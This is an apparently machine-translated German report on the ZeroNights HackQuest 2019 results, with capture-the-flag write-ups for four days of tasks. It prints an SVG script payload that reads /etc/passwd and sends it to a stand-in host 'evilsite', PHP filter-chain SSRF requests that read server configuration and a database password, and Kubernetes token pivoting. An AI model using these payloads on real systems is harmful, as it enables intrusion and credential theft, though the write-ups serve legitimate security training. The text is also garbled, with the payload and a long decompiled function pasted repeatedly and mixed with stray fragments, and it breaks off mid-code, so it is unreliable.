ZeroNights Hackquest 2019 Ergebnisse und Zuschreibungen

In jüngerer Zeit ist das jährliche HackQuest, das zeitlich auf die ZeroNights-Konferenz abgestimmt ist, beendet. Wie in den Vorjahren hatten die Teilnehmer 7 verschiedene Aufgaben zu lösen - eine pro Tag Quest. Aufgaben haben wie immer dazu beigetragen, unsere Community-Partner vorzubereiten. Unter dem Schnitt können Sie herausfinden, wie die Aufgaben gelöst wurden und wer diesmal die Gewinner der Hack-Quest wurde.


Bild

Tag 1. TOP SECRET


Gewinner
1. Platz2. Platz
vladvisgotdaswag

Der erste Auftrag in diesem Jahr wurde vom Auditteam für digitale Sicherheit vorbereitet. Um das Problem zu lösen, mussten die Teilnehmer drei Phasen durchlaufen: Zugriff auf den Inhalt des internen Chats des Spielportals, Ausnutzung der Sicherheitsanfälligkeit im Discord-Bot und Verwendung der falschen Rechteeinstellung im Kubernetes-Cluster.


Die Entscheidung über die Aufgabe des ersten Tages (vladvis)

1. Schritt: graphql


  • Zunächst gelangen wir an die Client-seitige Spiel js Web-Anwendung und Ranking.
  • Zusätzlich zu statisch wird nur 1 Anfrage an das Backend gestellt:
  • Mit der folgenden Abfrage können Sie eine Liste aller Typen und ihrer Felder abrufen:
    { __schema { types { name fields { name } } } } 
  • Wir sehen das Kommentarfeld in der ursprünglichen Anfrage zu beantragen und einen Link auf die nächste Stufe zu erhalten.

2. Schritt: Discord Bot


  • Ein Bot trifft uns auf dem Server und erstellt einen separaten Kanal für uns
  • Sofort sehen wir einen Hinweis auf SSRF in Gitea, aber ich bin nie dazu gekommen = (
  • Wir versuchen die lokale Datei zu lesen:
     <svg width="10cm" height="3cm" viewBox="0 0 1000 300" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <script type="text/javascript"> for (var i=0; trefs[i]; i++) { var xhr = new XMLHttpRequest(); xhr.open("GET","/etc/passwd",false); xhr.send(""); var xhr2 = new XMLHttpRequest(); xhr2.open("GET", "http://evilsite/?p="+btoa(xhr.responseText),false); xhr2.send(""); } </script> </svg> = "3 cm" viewBox = " <svg width="10cm" height="3cm" viewBox="0 0 1000 300" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <script type="text/javascript"> for (var i=0; trefs[i]; i++) { var xhr = new XMLHttpRequest(); xhr.open("GET","/etc/passwd",false); xhr.send(""); var xhr2 = new XMLHttpRequest(); xhr2.open("GET", "http://evilsite/?p="+btoa(xhr.responseText),false); xhr2.send(""); } </script> </svg> ) { <svg width="10cm" height="3cm" viewBox="0 0 1000 300" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <script type="text/javascript"> for (var i=0; trefs[i]; i++) { var xhr = new XMLHttpRequest(); xhr.open("GET","/etc/passwd",false); xhr.send(""); var xhr2 = new XMLHttpRequest(); xhr2.open("GET", "http://evilsite/?p="+btoa(xhr.responseText),false); xhr2.send(""); } </script> </svg> 
  • Wir bekommen / etc / passwd und sehen 2 Benutzer: Arbeiter, in deren Auftrag svg und gitea gerendert werden
     worker:x:1000:1000::/home/worker:/bin/sh gitea:x:1001:1001::/home/gitea:/bin/sh 
  • In diesem Schritt ging ich einen unbeabsichtigten Pfad durch: In .bash_history hatte der Worker Pfade zum SSH-Schlüssel und zur Serveradresse zur nächsten Stufe
     cd nano .ssh/connect_info echo > .bash_history exit cd cd .ssh/ chmod 755 id_rsa ls -al cat id_rsa exit 

    3. Schritt: Kubernetes

  • Es scheint, dass ich zuerst zu diesem Punkt gekommen bin. .bash_history und ps waren leer und daraus schloss ich, dass für jede IP eine isolierte Umgebung erstellt wird
  • In Mount wurde ein Token für Kubernetes gefunden
  • Zuerst war nicht klar, wo ich den Token bekommen sollte, und ich fing an, das Gitter zu scannen ... und irgendwann fing ich an, in den Nachbarn in der Wolke zu laufen
  • Danach wurde ein Hinweis ausgegeben, welche Subnetze gescannt werden sollten, und fast sofort wurden restliche API-Kubernetes gefunden
  • Zu diesem Zeitpunkt wurde mir klar, dass ich nicht alleine auf dem Server war und es keine Lust gab, etwas zu schneiden, zum Beispiel cmdline zu maskieren, also entschied ich mich dafür einfacher es ist schmerzhafter und vorwärts zu sich selbst socks proxy durch ssh
  • Mit Hilfe von kubectl get pods hatten eine Liste von Containern und erhalten Dokumentation Kubernetes vorgeschlagen , dass Sie mit der gleichen Syntax wie die von Docker-a verwenden exec können
  • Dann gab es 1,5 Stunden Leiden mit dem Socken-Proxy, durch den der Websocket für Exec nicht aufstieg. Am Ende ging ich über ssh direkt zu kubectl
  • Der zweite Container hat ein neues Token und hatte bereits Zugriff auf den Cluster im benachbarten Namespace zn2 (anfangs befinden wir uns im Namespace zn1), von dem aus redis sichtbar war
  • Wir erinnern uns an den Bericht @paulaxe aus den vergangenen Zeronights und erhalten RCE zum Beispiel mit diesem PoC
  • Nachdem Sie den nächsten Token erhalten haben, können Sie die Flagge aus den Geheimnissen von kubernetes ziehen

Tag 2. MICOSOFT LUNIX


Gewinner
1. Platz2. Platz3. Platz
zerrissenSin__AV1ct0r
Ebenfalls entschieden: demidov_al, gotdaswag, medidrdrider, groke_is_love_groke_is_life

Der Einsatz am zweiten Tag wurde von Mitgliedern der r0 Crew Community vorbereitet. Um dies zu lösen, müssen Sie einen Aktivierungsschlüssel für ein Linux-Image mit einem modifizierten Kernel generieren.


Die Entscheidung der zweiten Tagesaufgabe

Gegeben: jD74nd8_task2.iso Datei, bootfähiges ISO-Image. Aus den Dateien im Image können wir annehmen, dass es sich um Linux handelt: Es gibt einen Kernel boot/kernel.xz , einen anfänglichen Ramdisk boot/rootfs.xz und einen Bootloader boot/syslinux/ .


Wir versuchen, den Kern und die Ramdisk auszupacken. Ramdisk hier - normale cpio-Archiv komprimiert xz. Packen Sie den Kernel mithilfe eines Skripts https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux . Sie können auch auf die Kernel-Informationen achten:


 > file kernel.xz kernel.xz: Linux kernel x86 boot executable bzImage, version 5.0.11 (billy@micosoft.com) #1 SMP Sat Aug 25 13:37:00 CEST 2019, RO-rootFS, swap_dev 0x2, Normal VGA 

Unterwegs finden wir im minimal/rootfs/bin/activator Image die Hauptaufgabe von minimal/rootfs/bin/activator : Es kommt darauf an, die eingegebenen E-Mail-Daten und den Aktivierungsschlüssel im Format $email|$key auf das Gerät /dev/activate minimal/rootfs/bin/activator zu schreiben. Im Falle einer erfolgreichen Schlüsselüberprüfung wird beim Lesen von /dev/activate ACTIVATED Zeile ACTIVATED , und der Aktivator startet in diesem Fall das Spiel 2048.


Es ist Zeit, die Aufgabe in der Dynamik zu betrachten. Führen Sie dazu den Emulator in KVM aus:


 > qemu-system-x86_64 -enable-kvm -drive format=raw,media=cdrom,readonly,file=jD74nd8_task2.iso 

Linux startet sofort und läuft der /bin/activator des Overlays. Dies ist in /etc/inittab . Um nicht lange in den Binar zu graben, wollte ich mir eine Shell besorgen und mir zumindest /proc und /sys ansehen. Für mich war es am einfachsten, die ISO-Datei einfach an die Stelle hochzuladen, an der sich das Aktivatorskript selbst befindet. Anstelle von sleep 1 Satz /bin/sh , d.h. Ich habe nach jedem Versuch, eine Seriennummer einzugeben, eine Shell erhalten.


Es gibt also eine Shell: Wir sehen, dass /proc/kallsyms fehlt, d. H. fehlende Kernel-Zeichen. Mit ihnen wäre es natürlich viel schneller, aber das ist okay. Wir suchen nach Informationen über das Gerät /dev/activator :


 / # ls -la /dev/activate crw------- 1 0 0 252, 0 Oct 15 08:57 /dev/activate / # cat /proc/devices Character devices: ... 252 activate ... Block devices: ... 

Aus den Informationen in /proc/devices es sich um ein char-Gerät mit der Hauptversion 252 und der Nebenversion 0 handelt.


Es ist Zeit, die Registrierungsfunktion dieses Geräts in der Kernel-Binärdatei zu finden, um den Handler für seine write zu finden. Suchen Sie dazu nach Querverweisen auf die activate Zeichenfolge. Aber diese Linie ist im Kern nicht, wahrscheinlich verstecken irgendwie.


Im nächsten Versuch versuchen wir, die Funktionen zu finden, die für die Registrierung von Zeichengeräten verantwortlich sind: cdev_add und register_chrdev . Dies kann durch Querverweise auf /dev/console oder ein anderes Zeichengerät und durch Verwendung des Kernel-Quellcodes erfolgen (ich habe Version 5.0.11 verwendet, bin mir aber nicht sicher, ob die Version korrekt ist). Nachdem wir uns die Liste der registrierten Geräte angesehen haben, finden wir dort kein Gerät mit der Hauptversion 252. Es ist wahrscheinlich, dass diese beiden Funktionen nicht registriert werden.


Versuchen wir, nach anderen Hinweisen in der Dynamik zu suchen:


 / # ls -la /sys/dev/char/252:0 lrwxrwxrwx 1 0 0 0 Oct 15 09:00 /sys/dev/char/252:0 -> ../../devices/virtual/EEy????I/activate / char / / # ls -la /sys/dev/char/252:0 lrwxrwxrwx 1 0 0 0 Oct 15 09:00 /sys/dev/char/252:0 -> ../../devices/virtual/EEy????I/activate 

Hier ist der EEy????I - die EEy????I Geräteklasse EEy????I Wir versuchen diese Zeile im Binar zu finden und sie ist da!



Es wurden zwar keine Querverweise darauf gefunden, aber daneben sind sichtbare Daten ähnlich wie bei Strings zu sehen. Wenn Sie sich den Code ansehen, der sie verwendet, können Sie sehen, dass dies die gewünschten Lese- und Schreibhandler des activate sind, die mit einfachem XOR verschlüsselt sind.


Leseverarbeitungsfunktion:



Die Funktion der Verarbeitung des Schreibvorgangs ist auch eine Lizenzprüfung:



Eine schnelle Überprüfung des Aktivierungsüberprüfungscodes ergab, dass es am einfachsten ist, einen Haltepunkt an die Adresse 0xFFFFFFFF811F094B und den Aktivierungscode dort abzurufen, ohne wirklich zu untersuchen, was dort geschieht. Führen Sie dazu qemu mit dem Flag -s . In diesem Fall startet Qemu gdb Stummel, die ermöglicht es jedem Client gdb. Der einfachste und schnellste Weg, dies in IDA Pro zu tun, wenn Sie eine Lizenz haben. Aber niemand verbietet es, alles in der Konsole GDB zu tun.


Wir machen alles wie im offiziellen Tutorial beschrieben . Jetzt müssen Sie die Verarbeitungsfunktion im bereits laufenden Kernel finden.




Da der Kern mit KASLR Unterstützung kompiliert wird, werden die Adressen verschoben Kernel auf einem zufälligen Lauf Offset dass jeder Kerndurchlauf erzeugt wird. Berechnen dieser Offset (die eindeutige Adresse einer Folge von Bytes im Code-Debugging-Kernel zu nehmen und subtrahiert von ihm die Adresse der Sequenz in binär), und Hinzufügen zu der Adresse Funktion aktiviert ist, werden wir es in dem Speicher finden. Alles, jetzt liegt es an den Kleinen. Setzen Sie einen Haltepunkt und holen Sie sich den Code.





Die Lösung für diese Aufgabe wurde bereits von einem der Teilnehmer auf dem Hub veröffentlicht. Hier können Sie sich damit vertraut machen.


Tag 3. HAUS VON BECHED


Gewinner
1. Platz
Blackfan

Job vorbereitet von beched ( DeteAct ). Die Teilnehmer trafen unauffällige Zahlungsseite. Um es zu lösen war notwendig , Zugriff auf die Datenbank Clickhouse zu gewinnen, die Funktion der PHP-Funktion file_get_contents .


Die Entscheidung über die Aufgabe des dritten Tages (blackfan)

Die Aufgabe ist eine Zahlungsseite, auf der der einzige interessante Parameter callback_url war.


https://i.imgur.com/iX65TI3.png


Wir geben Ihre Site an und nehmen die Anfrage entgegen:


 http://82.202.226.176/?callback_url=http://attacker.tld/&pan=&amount=&payment_id= 

 POST / HTTP/1.0 Host: attacker.tld Connection: close Content-Length: 21 Content-Type: application/json amount=0&payment_id=0 

Eine HTTP-Antwort wird nur angezeigt, wenn die Site eine alphanumerische Zeichenfolge zurückgegeben hat. Beispiele für Antworten:


 {"result":"Success.","msg":"Response: testresponse"} {"result":"Invalid status code.","msg":"Non-alphanumeric response."} 

Wir versuchen als callback_url data:, testen und verstehen, dass dies höchstwahrscheinlich PHP ist.


 http://82.202.226.176/?callback_url=data:,test&pan=&amount=&payment_id= 

Wir verwenden den Filter php: //, um lokale Dateien zu lesen und die Antwort mit convert.base64-encode zu codieren, sodass die Antwort alphanumerisch übereinstimmt. Aufgrund der Zeichen +, / und = ist es manchmal erforderlich, mehrere base64-Aufrufe zu kombinieren, um eine Antwort anzuzeigen.


 http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./index.php http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./includes/db.php 

 <?php error_reporting(0); /* * DB configuration */ $config = [ 'host' => 'localhost', 'port' 

Die Ausgangsantwort ist auf 200 Bytes E beschränkt, sondern Fragmente erkennt das Vorhandensein Datenbank localhost. Wir sortieren die Ports über callback_url und finden einen neuen Artikel zur Injektion in ClickHouse im DeteAct-Blog , der dem seltsamen Aufgabennamen "HOUSE OF BECHED" entspricht.


https://i.imgur.com/OBn22wi.png


ClickHouse verfügt über eine HTTP-Schnittstelle, über die Sie beliebige Anforderungen ausführen können. Dies ist sehr praktisch in SSRF.


Wir lesen die Dokumentation und versuchen, ein Konto aus der Konfiguration zu erhalten.


 http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id= 

 <?xml version="1.0"?> <yandex> <!-- Profiles of settings. --> <profiles> <!-- Default settibm 

Auch hier ist das gewünschte Feld extrem weit entfernt, wenn die Ausgabe gestört wird und anhand der Standarddatei beurteilt wird.


https://i.imgur.com/5Un6gfj.png


Schneiden Sie den Überschuss mit dem Filter string.strip_tags ab.


 http://82.202.226.176/?callback_url=php://filter/string.strip_tags|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id= 

Die Ausgabelänge reicht jedoch immer noch nicht aus, bis das Kennwort empfangen wird. Fügen Sie einen Komprimierungsfilter zlib.deflate hinzu.


 http://82.202.226.176/?callback_url=php://filter/string.strip_tags|zlib.deflate|convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id= 

Und lokal in umgekehrter Reihenfolge lesen:


 print(file_get_contents('php://filter/convert.base64-decode|convert.base64-decode|zlib.inflate/resource=data:,NCtYaTVWSUFBbVFTRnd1VFoyZ0FCN3hjK0JRU2tDNUt6RXZKejBXMms3QkxETkVsZUNueVNsSnFja1pxU2taK2FYRnFYbjVHYW1JQmZoZWo4a0RBeWtyZkFGME5QajBwcVdtSnBUa2xWRkNFNlJaTUVWSkZRU0JSd1JZNWxGRTFVY3NLYllVa0JiV2NFbXNGUTRYOElv')); 

Nachdem wir das Passwort erhalten haben, können wir ClickHouse-Anfragen wie folgt senden:


 http://localhost:8123/?query=select%20'xxx'&user=default&password=bechedhousenoheap http://default:bechedhousenoheap@localhost:8123/?query=select%20'xxx' 

Da wir jedoch zunächst POST senden, müssen wir dies mithilfe der Umleitung umgehen. Und die endgültige Anfrage stellte sich wie folgt heraus (zu diesem Zeitpunkt war ich sehr dumm, weil ich aufgrund der großen Verschachtelung der Verarbeitung der Parameter Sonderzeichen falsch codiert habe und die Anfrage nicht ausführen konnte).


 http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520'xxx'%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id= 

Dann holen Sie sich einfach die Daten aus der Datenbank:


 select name from system.tables select name from system.columns where table='flag4zn' select bechedflag from flag4zn Sie select name from system.tables select name from system.columns where table='flag4zn' select bechedflag from flag4zn flag4zn‘ select name from system.tables select name from system.columns where table='flag4zn' select bechedflag from flag4zn 

 http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520bechedflag%252520from%252520flag4zn%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id= 

4. Tag: ASR-EHD


Gewinner
1. Platz
AV1ct0r

Vierter Tag der Aufgabe , eine Studie Abteilung zur Vorbereitung des Digital Security . Die Hauptaufgabe der Aufgabe bestand darin zu zeigen, wie sich die falsche Wahl der Zufallszahlenquelle auf den kryptografischen Algorithmus auswirken kann. In taskka wurde ein selbstgeschriebener Zufallsgenerator für private Schlüssel für DH implementiert, der auf LFSR basiert. Nach dem Empfang einer ausreichenden Anzahl aufeinanderfolgender TLS-Handshakes unter Verwendung öffentlicher DH-Werte war es möglich, den Anfangszustand des LFSR wiederherzustellen und den gesamten Datenverkehr zu entschlüsseln.


Die Entscheidung über die Aufgabe des vierten Tages (AV1ct0r)

Tag 4 / ASR-EHD - WriteUp von AV1ct0r


Peter ist ein bisschen paranoid: Er verwendet immer verschlüsselte Verbindungen. Um sicherzugehen, dass die Algorithmen sicher sind, verwendet Peter seinen eigenen Client. Er gab uns sogar einen Verkehrsdump, der mit seinem benutzerdefinierten Client erstellt wurde. Ist Peters Verbindung wirklich sicher?


https://hackquest.zeronights.org/downloads/task4/8Jdl3f_client.tar
https://hackquest.zeronights.org/downloads/task4/d8f3ND_dump.tar


  1. Öffnen Sie die Client-Datei in IDA Pro und stellen Sie sicher, dass ein Teil der Datei flag.jpg vom Server https://ssltest.a1exdandy.me:443/ heruntergeladen werden kann. Welcher Teil der herunterzuladenden Datei (von welchem ​​Byte) wird von der Befehlszeile übernommen.


     signed __int64 __fastcall main(int argc, char **argv, char **a3) { size_t v4; // rsi __int64 v5; // ST48_8 int v6; // [rsp+10h] [rbp-450h] int v7; // [rsp+14h] [rbp-44Ch] __int64 v8; // [rsp+20h] [rbp-440h] __int64 v9; // [rsp+28h] [rbp-438h] __int64 v10; // [rsp+30h] [rbp-430h] __int64 v11; // [rsp+38h] [rbp-428h] __int64 v12; // [rsp+40h] [rbp-420h] char ptr; // [rsp+50h] [rbp-410h] unsigned __int64 v14; // [rsp+458h] [rbp-8h] v14 = __readfsqword(0x28u); if ( argc != 3 ) return 0xFFFFFFFFLL; v6 = atoi(argv[1]); v7 = atoi(argv[2]); if ( v6 < 0 || v7 < 0 || v7 <= v6 ) return 0xFFFFFFFFLL; v8 = 0LL; v9 = 0LL; v10 = 0LL; OPENSSL_init_ssl(0LL, 0LL); OPENSSL_init_crypto(2048LL, 0LL); v11 = ENGINE_get_default_DH(2048LL, 0LL); if ( v11 ) { if ( (unsigned int)ENGINE_init(v11) ) { v12 = ENGINE_get_DH(v11); if ( v12 ) { v8 = DH_meth_dup(v12); if ( v8 ) { if ( (unsigned int)DH_meth_set_generate_key(v8, dh_1) ) { if ( (unsigned int)ENGINE_set_DH(v11, v8) ) { v5 = TLSv1_2_client_method(v11, v8); v10 = SSL_CTX_new(v5); if ( (unsigned int)SSL_CTX_set_cipher_list(v10, "DHE-RSA-AES128-SHA256") ) { v9 = BIO_new_ssl_connect(v10); BIO_ctrl(v9, 100LL, 0LL, (__int64)"ssltest.a1exdandy.me:443"); if ( BIO_ctrl(v9, 101LL, 0LL, 0LL) >= 0 ) { BIO_ctrl(v9, 101LL, 0LL, 0LL); BIO_printf(v9, "GET /flag.jpg HTTP/1.1\n", argv); BIO_printf(v9, "Host: ssltest.a1exdandy.me\n"); BIO_printf(v9, "Range: bytes=%d-%d\n\n", (unsigned int)v6, (unsigned int)v7); v4 = (signed int)BIO_read(v9, &ptr, 1024LL); fwrite(&ptr, v4, 1uLL, stdout); } else { v4 = 1LL; fwrite("Can't do connect\n", 1uLL, 0x11uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set cipher list\n", 1uLL, 0x16uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set DH methods\n", 1uLL, 0x15uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set generate_key method\n", 1uLL, 0x1EuLL, stderr); } } else { v4 = 1LL; fwrite("Can't dup dh meth\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } } else { v4 = 1LL; fwrite("Can't init engine\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } if ( v11 ) { ENGINE_finish(v11, v4); ENGINE_free(v11); } if ( v8 ) DH_meth_free(v8, v4); if ( v10 ) SSL_CTX_free(v10, v4); if ( v9 ) BIO_free_all(v9, v4); return 0LL; } -44Ch] signed __int64 __fastcall main(int argc, char **argv, char **a3) { size_t v4; // rsi __int64 v5; // ST48_8 int v6; // [rsp+10h] [rbp-450h] int v7; // [rsp+14h] [rbp-44Ch] __int64 v8; // [rsp+20h] [rbp-440h] __int64 v9; // [rsp+28h] [rbp-438h] __int64 v10; // [rsp+30h] [rbp-430h] __int64 v11; // [rsp+38h] [rbp-428h] __int64 v12; // [rsp+40h] [rbp-420h] char ptr; // [rsp+50h] [rbp-410h] unsigned __int64 v14; // [rsp+458h] [rbp-8h] v14 = __readfsqword(0x28u); if ( argc != 3 ) return 0xFFFFFFFFLL; v6 = atoi(argv[1]); v7 = atoi(argv[2]); if ( v6 < 0 || v7 < 0 || v7 <= v6 ) return 0xFFFFFFFFLL; v8 = 0LL; v9 = 0LL; v10 = 0LL; OPENSSL_init_ssl(0LL, 0LL); OPENSSL_init_crypto(2048LL, 0LL); v11 = ENGINE_get_default_DH(2048LL, 0LL); if ( v11 ) { if ( (unsigned int)ENGINE_init(v11) ) { v12 = ENGINE_get_DH(v11); if ( v12 ) { v8 = DH_meth_dup(v12); if ( v8 ) { if ( (unsigned int)DH_meth_set_generate_key(v8, dh_1) ) { if ( (unsigned int)ENGINE_set_DH(v11, v8) ) { v5 = TLSv1_2_client_method(v11, v8); v10 = SSL_CTX_new(v5); if ( (unsigned int)SSL_CTX_set_cipher_list(v10, "DHE-RSA-AES128-SHA256") ) { v9 = BIO_new_ssl_connect(v10); BIO_ctrl(v9, 100LL, 0LL, (__int64)"ssltest.a1exdandy.me:443"); if ( BIO_ctrl(v9, 101LL, 0LL, 0LL) >= 0 ) { BIO_ctrl(v9, 101LL, 0LL, 0LL); BIO_printf(v9, "GET /flag.jpg HTTP/1.1\n", argv); BIO_printf(v9, "Host: ssltest.a1exdandy.me\n"); BIO_printf(v9, "Range: bytes=%d-%d\n\n", (unsigned int)v6, (unsigned int)v7); v4 = (signed int)BIO_read(v9, &ptr, 1024LL); fwrite(&ptr, v4, 1uLL, stdout); } else { v4 = 1LL; fwrite("Can't do connect\n", 1uLL, 0x11uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set cipher list\n", 1uLL, 0x16uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set DH methods\n", 1uLL, 0x15uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set generate_key method\n", 1uLL, 0x1EuLL, stderr); } } else { v4 = 1LL; fwrite("Can't dup dh meth\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } } else { v4 = 1LL; fwrite("Can't init engine\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } if ( v11 ) { ENGINE_finish(v11, v4); ENGINE_free(v11); } if ( v8 ) DH_meth_free(v8, v4); if ( v10 ) SSL_CTX_free(v10, v4); if ( v9 ) BIO_free_all(v9, v4); return 0LL; } ; signed __int64 __fastcall main(int argc, char **argv, char **a3) { size_t v4; // rsi __int64 v5; // ST48_8 int v6; // [rsp+10h] [rbp-450h] int v7; // [rsp+14h] [rbp-44Ch] __int64 v8; // [rsp+20h] [rbp-440h] __int64 v9; // [rsp+28h] [rbp-438h] __int64 v10; // [rsp+30h] [rbp-430h] __int64 v11; // [rsp+38h] [rbp-428h] __int64 v12; // [rsp+40h] [rbp-420h] char ptr; // [rsp+50h] [rbp-410h] unsigned __int64 v14; // [rsp+458h] [rbp-8h] v14 = __readfsqword(0x28u); if ( argc != 3 ) return 0xFFFFFFFFLL; v6 = atoi(argv[1]); v7 = atoi(argv[2]); if ( v6 < 0 || v7 < 0 || v7 <= v6 ) return 0xFFFFFFFFLL; v8 = 0LL; v9 = 0LL; v10 = 0LL; OPENSSL_init_ssl(0LL, 0LL); OPENSSL_init_crypto(2048LL, 0LL); v11 = ENGINE_get_default_DH(2048LL, 0LL); if ( v11 ) { if ( (unsigned int)ENGINE_init(v11) ) { v12 = ENGINE_get_DH(v11); if ( v12 ) { v8 = DH_meth_dup(v12); if ( v8 ) { if ( (unsigned int)DH_meth_set_generate_key(v8, dh_1) ) { if ( (unsigned int)ENGINE_set_DH(v11, v8) ) { v5 = TLSv1_2_client_method(v11, v8); v10 = SSL_CTX_new(v5); if ( (unsigned int)SSL_CTX_set_cipher_list(v10, "DHE-RSA-AES128-SHA256") ) { v9 = BIO_new_ssl_connect(v10); BIO_ctrl(v9, 100LL, 0LL, (__int64)"ssltest.a1exdandy.me:443"); if ( BIO_ctrl(v9, 101LL, 0LL, 0LL) >= 0 ) { BIO_ctrl(v9, 101LL, 0LL, 0LL); BIO_printf(v9, "GET /flag.jpg HTTP/1.1\n", argv); BIO_printf(v9, "Host: ssltest.a1exdandy.me\n"); BIO_printf(v9, "Range: bytes=%d-%d\n\n", (unsigned int)v6, (unsigned int)v7); v4 = (signed int)BIO_read(v9, &ptr, 1024LL); fwrite(&ptr, v4, 1uLL, stdout); } else { v4 = 1LL; fwrite("Can't do connect\n", 1uLL, 0x11uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set cipher list\n", 1uLL, 0x16uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set DH methods\n", 1uLL, 0x15uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set generate_key method\n", 1uLL, 0x1EuLL, stderr); } } else { v4 = 1LL; fwrite("Can't dup dh meth\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } } else { v4 = 1LL; fwrite("Can't init engine\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } if ( v11 ) { ENGINE_finish(v11, v4); ENGINE_free(v11); } if ( v8 ) DH_meth_free(v8, v4); if ( v10 ) SSL_CTX_free(v10, v4); if ( v9 ) BIO_free_all(v9, v4); return 0LL; } (__int64) "ssltest.a1exdandy.me:443"); signed __int64 __fastcall main(int argc, char **argv, char **a3) { size_t v4; // rsi __int64 v5; // ST48_8 int v6; // [rsp+10h] [rbp-450h] int v7; // [rsp+14h] [rbp-44Ch] __int64 v8; // [rsp+20h] [rbp-440h] __int64 v9; // [rsp+28h] [rbp-438h] __int64 v10; // [rsp+30h] [rbp-430h] __int64 v11; // [rsp+38h] [rbp-428h] __int64 v12; // [rsp+40h] [rbp-420h] char ptr; // [rsp+50h] [rbp-410h] unsigned __int64 v14; // [rsp+458h] [rbp-8h] v14 = __readfsqword(0x28u); if ( argc != 3 ) return 0xFFFFFFFFLL; v6 = atoi(argv[1]); v7 = atoi(argv[2]); if ( v6 < 0 || v7 < 0 || v7 <= v6 ) return 0xFFFFFFFFLL; v8 = 0LL; v9 = 0LL; v10 = 0LL; OPENSSL_init_ssl(0LL, 0LL); OPENSSL_init_crypto(2048LL, 0LL); v11 = ENGINE_get_default_DH(2048LL, 0LL); if ( v11 ) { if ( (unsigned int)ENGINE_init(v11) ) { v12 = ENGINE_get_DH(v11); if ( v12 ) { v8 = DH_meth_dup(v12); if ( v8 ) { if ( (unsigned int)DH_meth_set_generate_key(v8, dh_1) ) { if ( (unsigned int)ENGINE_set_DH(v11, v8) ) { v5 = TLSv1_2_client_method(v11, v8); v10 = SSL_CTX_new(v5); if ( (unsigned int)SSL_CTX_set_cipher_list(v10, "DHE-RSA-AES128-SHA256") ) { v9 = BIO_new_ssl_connect(v10); BIO_ctrl(v9, 100LL, 0LL, (__int64)"ssltest.a1exdandy.me:443"); if ( BIO_ctrl(v9, 101LL, 0LL, 0LL) >= 0 ) { BIO_ctrl(v9, 101LL, 0LL, 0LL); BIO_printf(v9, "GET /flag.jpg HTTP/1.1\n", argv); BIO_printf(v9, "Host: ssltest.a1exdandy.me\n"); BIO_printf(v9, "Range: bytes=%d-%d\n\n", (unsigned int)v6, (unsigned int)v7); v4 = (signed int)BIO_read(v9, &ptr, 1024LL); fwrite(&ptr, v4, 1uLL, stdout); } else { v4 = 1LL; fwrite("Can't do connect\n", 1uLL, 0x11uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set cipher list\n", 1uLL, 0x16uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set DH methods\n", 1uLL, 0x15uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set generate_key method\n", 1uLL, 0x1EuLL, stderr); } } else { v4 = 1LL; fwrite("Can't dup dh meth\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } } else { v4 = 1LL; fwrite("Can't init engine\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } if ( v11 ) { ENGINE_finish(v11, v4); ENGINE_free(v11); } if ( v8 ) DH_meth_free(v8, v4); if ( v10 ) SSL_CTX_free(v10, v4); if ( v9 ) BIO_free_all(v9, v4); return 0LL; } \ n", 1uLL, 0x16uLL, Stderr); signed __int64 __fastcall main(int argc, char **argv, char **a3) { size_t v4; // rsi __int64 v5; // ST48_8 int v6; // [rsp+10h] [rbp-450h] int v7; // [rsp+14h] [rbp-44Ch] __int64 v8; // [rsp+20h] [rbp-440h] __int64 v9; // [rsp+28h] [rbp-438h] __int64 v10; // [rsp+30h] [rbp-430h] __int64 v11; // [rsp+38h] [rbp-428h] __int64 v12; // [rsp+40h] [rbp-420h] char ptr; // [rsp+50h] [rbp-410h] unsigned __int64 v14; // [rsp+458h] [rbp-8h] v14 = __readfsqword(0x28u); if 